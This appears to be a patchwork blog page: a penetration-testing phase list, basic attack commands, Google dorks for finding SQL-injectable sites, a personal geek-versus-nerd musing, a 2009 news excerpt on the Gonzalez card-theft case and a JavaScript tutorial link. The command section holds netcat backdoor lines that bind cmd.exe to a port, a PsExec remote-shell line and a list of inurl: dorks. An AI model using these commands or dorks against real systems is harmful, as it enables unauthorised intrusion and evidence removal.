Oldschool but still useable...

Preparation to pentesting.

1. Footprinting - Determining the targets footprint, e.g. DNS records, IP scope, public information, contact information, etc.
2. Scanning - Determining the targets openings, e.g. service ports, wireless networks, modems pools, vpn servers, etc.
3. Enumeration - Determining the services behind the openings, e.g. webservers, systems, routers, firewalls, wifi authentication, etc.
4. Penetration - Selecting appropiate exploits and penetrate the target, e.g. SQL injection, buffer overflow, password attacks, etc.
5. Escalation - Escalation of the credentials to admin or root, e.g. dll injection, local exploit, configuration change, sceduled jobs, etc.
6. Getting Interactive - Getting a remote shell or GUI on the target, e.g. RDP, VNC, NetCat, etc.
7. Expanding Influence - Moving from the initial target as a foothold or beach-head to the rest of the network taking over the domain.
8. Cleaning Up - Ensuring backdoors and removing evidence, e.g. rootkits, log removal, log editing, etc.
9. Reporting - Writing and presenting a report on the pen-test to the owners of the network one had authoritation to test.

more infos, read these

• Infosecwriters Demystifying Pen-test Article
• OSSTMM
• ISSAF
• Professionalsecuritytesters
• Penetration Testing Framework

Basic tools and examples

Portscanner

Nmap -sS -vv -P0 -n -p 21,80,443 // probing for open port

Backdoor

Nc.exe -l -p 80 // execute a backdoor and listen to port 80 for outbound connection

Nc.exe -v -e cmd.exe <the backdoored ip address > 80 // connect to backdoor

PSexec tools useful for remote access

PSexec \\ -u administrator -p password -s cmd.exe

VNC same as PSexec, it's stress on GUI

A password cracker tools

Brutus Password cracker

THC password cracker

AircrackNG WIFI - WEP cracker

google dork for sql 1nj3ct10/\/

SQLi(SQL-injection)

inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff_id=

Geek vs Nerd... so which one is you?

Darn it I must admit that I'm a geek person.... but I do like fantasy, and sci-fic, does it mean me nerds also? so what's up with that? maybe word like generd should comes up?

Hacking case shows U.S. vulnerability to breaches

By Ross Kerber And Daniel Trotta
18 August 2009 @ 06:13 pm ET
Next Tech Article

Consumers and companies are vulnerable to hackers and identity thieves even after U.S. authorities arrested a man they said was a master hacker who stole 170 million credit and debit card numbers.


Albert Gonzalez, 28, of Miami, Florida, seen in an undated U.S. law enforcement handout photo, was indicted by U.S. authorities August 17, 2009 for conspiring to hack into computer networks supporting major retail and financial organizations, and stealing data relating to more than 130 million credit and debit cards. Gonzalez, also known as "segvec," "soupnazi" and "j4guar17," is charged, along with two unnamed co-conspirators with what the U.S. ... (REUTERS / U.S. Law Enforcement via Wired)
1 of 1
Full Size

Estimates on the total financial impact of breaches vary, but a study by Forrester Research put the cost at $90 to $305 per compromised record when considering the cost of upgrades, notifying customers and legal and marketing expenses.

"Under our banking laws, it's the financial institutions that will be stuck paying for fraudulent use of credit cards. We have the consumers responsible for $50 and the rest winds up on the card issuer," said Joel Reidenberg, a professor at Fordham Law School who teaches privacy law. READ MORE

Learning Advanced JavaScript

Learning Advanced JavaScript

1) Our Goal
2) Defining Functions
3) Named Functions
4) Functions as Objects
5) Context
6) Instantiation
7) Flexible Arguments
8) Closures
9) Temporary Scope
10) Function Prototypes
11) Instance Type
12) Inheritance
13) Built-in Prototypes
14) Enforcing Function Context
15) Bonus: Function Length

http://ejohn.org/apps/learn/# - nice Java tutorial he got here, cuba lah